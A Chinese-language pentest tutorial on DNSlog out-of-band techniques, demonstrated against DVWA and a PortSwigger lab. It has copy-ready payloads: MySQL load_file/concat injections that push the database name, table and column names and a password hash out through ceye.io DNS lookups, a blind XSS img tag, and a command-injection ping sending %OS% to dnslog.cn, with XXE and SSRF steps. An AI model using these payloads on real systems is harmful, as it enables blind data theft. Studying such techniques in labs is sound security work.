DNSlog应用
————背景说明————
在做渗透的时候,有一些漏洞发现无回显的,比如sql注入,一般当我们拿到一个无回显的注入,那么我们往往会采用盲注,使用二分法不断猜测字符等方式来取信息,不过这样的方式耗时又费力,而且频繁地测试容易被目标网站ban掉。那么面对盲注,或者是其他漏洞的盲打,有没有哪种方法,可以快速地获取我们需要的信息呢,答案是有的,即本篇主要说的,利用DNS快速获取数据,官方地讲即DNSlog。
这里涉及到DNS解析过程,UNC,以及一些数据库调用函数。
DNS解析的过程:当应用过程需要将一个主机域名映射为IP地址时,就调用域名解析函数,解析函数将待转换的域名放在DNS请求中,以UDP报文方式发给本地域名服务器。本地的域名服务器查到域名后,将对应的IP地址放在应答报文中返回。同时域名服务器还必须具有连向其他服务器的信息以支持不能解析时的转发。若域名服务器不能回答该请求,则此域名服务器就暂成为DNS中的另一个客户,向根域名服务器发出请求解析,根域名服务器一定能找到下面的所有二级域名的域名服务器,这样以此类推,一直向下解析,直到查询到所请求的域名。
UNC:是一种通用命名规则,也称通用命名规范、通用命名约定。格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。比如在机子hguone上面有个共享文件夹叫niap,那UNC就可以写成\\hguone\niap,当访问域名下的某个文件的时候,也可以试着用UNC 。
既然需要DNS解析,可以自己注册个服务器+域名来用,某云服务器一个月十块,域名一年十几块,配置完比如sql盲注就可以直接sqlmap用--dns-domain=域名跑。
其他常用的在线平台,有ceye.io、dnslog.cn、burp自带的 Collaborator client等。
————测试————
这里我使用ceye进行试验。
登陆ceye.io后整体界面如下,记录自己的identifiler地址。
首先DNS查询列表啥都没有
登录自己本地搭的数据库服务器用数据库语句简单测试一下
select load_file('\\\\test.indentifiler.ceye.io\hguone');
test和hguone位置符合unc规则爱写啥写啥
执行以后,ceye上面可以得到相关查询信息
————SQL盲注————
关于sql,我们可以使用一些数据库中引发DNS解析的子程序通过unc访问域名,产生DNS解析。把这个方式利用到盲注中,进行数据库查询,通过dns解析便可以接收到回显相关信息,获取所需要的数据,下面是不同数据库常用的几个函数:
mssql:
master..xp_dirtree 获取文件夹子文件夹
eg:EXEC master..xp_dirtree 'C:\hguone' ;
master..xp_fileexist 文件是否存在
eg: EXEC master..xp_fileexist 'C:\hguone.txt';
master..xp_subdirs 获取所有子文件夹
eg: EXEC master..xp_subdirs 'C:\hguone';
mysql:
load_file 读取文件并以字符串返回
eg: select load_file('C:\hguone.txt');
Oracle:
GET_HOST_ADDRES 检索主机ip
eg: select UTL_INADDR.GET_HOST_ADDRESS('hguone.com');
UTL_HTTP.REQUEST 从给定的地址检索前2000字节数据
eg: select UTL_HTTP.REQUEST('http://hguone.com/niap.php') FROM DUAL;
PostgreSQL:
COPY 文件系统的文件和表之间拷贝数据
eg:COPY users(names) FROM 'C:\\Windows\\hguone\\users.txt'
这里使用的数据库是mysql以及网站是dvwa
dvwa注入情况如下,它只显示存在,不显示其他信息
直接构造数据库语句查询当前数据库
' and if((select load_file(concat('\\\\',(select database()),'.indentifiler.ceye.io\\hguone'))),1,0)#
看一下源代码
这里相当于执行了如下语句
SELECT first_name, last_name FROM users WHERE user_id = '' and if((select load_file(concat('\\\\',(select database()),'.indentifiler.ceye.io\\hguone'))),1,0)
接着看看表
' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.indentifiler.ceye.io\\hguone'))),1,0)#
因为拼接则字段只能有一条,所以结果是多条数据则需要引入limit限制,否则会报错
然后看看字段
' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.indentifiler.ceye.io\\hguone'))),1,0)#
然后看完字段名直接猜密码啥的了
' and if((select load_file(concat('\\\\',(select password from users where user_id='1'),'.indentifiler.ceye.io\\hguone'))),1,0)#
解密一下其实就是password
————XSS————
dnslog也可以应用于xss的盲打,有时候提交payload存储进去并不会在我们的界面触发,有时候是在后台管理员界面触发。这种情况下dnslog可以应用,在后台判断是否触发了这些xss攻击代码。而且一般我们是用script标签引入远程的js,有时候会有csp,而这种方式的盲打有时可以绕过csp。
这里也用dvwa的漏洞环境,我们假设这是个盲式的xss。
设置相关的payload
<img src=http://test.xxx.ceye.io/hguone>
访问页面触发,然后查看记录
————命令注入————
一般确定无回显的命令注入漏洞时,而且有时候又要进一步利用来获取一些关键信息,针对这种情况,采用dnslog进行这种盲打效果是不错的。
这里的应用主要是利用了系统变量+dnslog
一样是使用dvwad的环境,我们一样假设这是无回显的漏洞点。
让其ping我们构造的payload
%OS%.292w6g.dnslog.cn
这里我换了个dnslog平台,ceye用多了本机留存了解析记录,我没删,刚好就换个平台也演示一下。
解析的结果如下
附上一些windows常用变量
%APPDATA% : 列出应用程序数据的默认存放位置。
%CD% : 列出当前目录。
%OS% : 列出操作系统的名字。
%Path% : 列出了可执行文件的搜索路径。
%PATHEXT% : 列出操作系统认为可被执行的文件扩展名
%CMDCMDLINE% : 列出启动当前cmd.exe所使用的命令行。
%CMDEXTVERSION% : 命令出当前命令处理程序扩展版本号。
%COMPUTERNAME% : 列出了计算机名。
%COMSPEC% : 列出了可执行命令外壳(命令处理程序)的路径。
%DATE% : 列出当前日期。
%HOMEPATH% : 列出用户主目录的完整路径。
%HOMESHARE% : 列出用户共享主目录的网络路径。
%LOGONSEVER% : 列出有效的当前登录会话的域名控制器名。
————SSRF————
文件包含检测的时候,将文件路径修改为dns服务器,通过dns查看dns解析记录,可以以此判断是否存在相关漏洞
php简单写了一个ssrf的环境
本地访问
修改url利用漏洞访问dns资源
查看解析记录
————XXE————
用于盲打,引用外部实体,可以利用dnslog在平台获取所需要的信息。
这里使用的是burp自带的Collaborator client,环境是burp的实验室环境
https://portswigger.net/web-security/xxe/blind
在服务器保存恶意的DTD
在无回显的漏洞处抓包
修改数据表进行引用恶意的DTD
查询结果
————注意事项————
1、解析的地址如果通过UNC命名规则设置,由于linux没有UNC,所以就只适用于windows DNS解析过程中。但是并不意味着linux不适用dnslog,比如用ping,用curl是可以的。
2、UNC路径不能超过128,否则报错,这限制了比如sql的查询语句的长度。
3、SQL中像load_file这类函数使用需要当前账户有写权限。
————结束撒花————